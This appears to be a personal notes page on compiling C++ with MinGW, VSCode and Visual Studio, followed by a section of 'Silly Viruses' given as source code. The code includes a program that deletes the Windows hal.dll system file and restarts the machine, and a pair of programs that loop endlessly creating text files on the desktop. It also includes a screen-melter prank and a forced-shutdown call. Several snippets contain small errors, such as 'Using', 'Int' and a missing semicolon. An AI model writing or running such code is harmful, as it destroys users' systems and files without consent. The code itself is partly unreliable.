C++

Compiling

- MinGW

g++ app.cpp -o app.exe

To compile an EXE from Linux:

x86_64-w64-mingw32-g++ hello.cpp -o hello.exe

To compile an ELF from Windows:

x86_64-linux-gnu-g++ hello.cpp -o hello

- VSCode

C/C++ Extension

Terminal > Run Build Task > gcc build active file

- Visual Studio:

Create pertinent project, then Build > Release > Build Solution

If you want to debug it, press the play debug boton.

Basic Shutdown

#include <cstdlib>
#include <iostream>
#include <conio.h>

Using namespace std;

Int main() {
	system("shutdown -s"); //-s shutdown -f logoff -r restart
	system("pause");
}

Silly Viruses

- Destroy hal.dll (required to start the computer)

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
	std::remove("C:\\windows\\system32\\hal.dll");
	system("shutdown -s -r");
	system("PAUSE");
	return EXIT_SUCCESS;
}

- Create lots of txt files in desktop

2 Files:

VirusBody.c:

#include <stdio.h>

int main() {
	system("virus.bat");
}

VirusMain.c:

#include <stdio.h>
#define PATH "Virus.bat"
int main() {
FILE *a = fopen("Virus.bat", "ab+");

FILE*fp;

fp = fopen(PATH, "w");
fprintf(fp, "echo off\n: start\necho rekt >getrektnerd\%%random\%%\.txt\ngoto start")

fclose(fp);

system("VirusBody.exe");
}

- Screen Melter

#include <Windows.h>

int ScreenWidth, ScreenHeight;
int Interval = 100;

LRESULT CALLBACK Melter(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	switch (Msg)
	{
	case WM_CREATE:
	{
		HDC Desktop = GetDC(HWND_DESKTOP);
		HDC Window = GetDC(hWnd);

		BitBlt(Window, 0, 0, ScreenWidth, ScreenHeight, Desktop, 0, 0, SRCCOPY);
		ReleaseDC(hWnd, Window);
		ReleaseDC(HWND_DESKTOP, Desktop);

		SetTimer(hWnd, 0, Interval, 0);
		ShowWindow(hWnd, SW_SHOW);
		break;
	}
	case WM_PAINT:
	{
		ValidateRect(hWnd, 0);
		break;
	}
	case WM_TIMER:
	{
		HDC Window = GetDC(hWnd);
		int X = (rand() % ScreenWidth) - (150 / 2),
			Y = (rand() % 15),
			Width = (rand() % 150);
		BitBlt(Window, X, Y, Width, ScreenHeight, Window, X, 0, SRCCOPY);
		ReleaseDC(hWnd, Window);
		break;
	}
	case WM_DESTROY:
	{
		KillTimer(hWnd, 0);
		PostQuitMessage(0);
		break;
	}
	return 0;
	}
	return DefWindowProc(hWnd, Msg, wParam, lParam);
}

int APIENTRY WinMain(HINSTANCE Inst, HINSTANCE Prev, LPSTR Cmd, int showcmd)
{
	// Get the width & height of current display
	ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
	ScreenHeight = GetSystemMetrics(SM_CYSCREEN);

	WNDCLASS wndClass = { 0, Melter, 0,0, Inst, 0, LoadCursorW(0, IDC_ARROW), 0, 0, L"ScreenMelter" };
	
	if (RegisterClass(&wndClass))
	{
		// Create the "melter" overlapping window.
		HWND hWnd = CreateWindowExA(WS_EX_TOPMOST, "ScreenMelter", 0, WS_POPUP,
			0, 0, ScreenWidth, ScreenHeight, HWND_DESKTOP, 0, Inst, 0);
		if (hWnd)
		{
			// seed for randomization
			srand(GetTickCount());
			MSG Msg = { 0 };
			// Run the melter loop
			while (Msg.message != WM_QUIT)
			{
				if (PeekMessage(&Msg, 0, 0, 0, PM_REMOVE))
				{
					TranslateMessage(&Msg);
					DispatchMessage(&Msg);
				}
			}
		}
	}
	return 0;
}

Last updated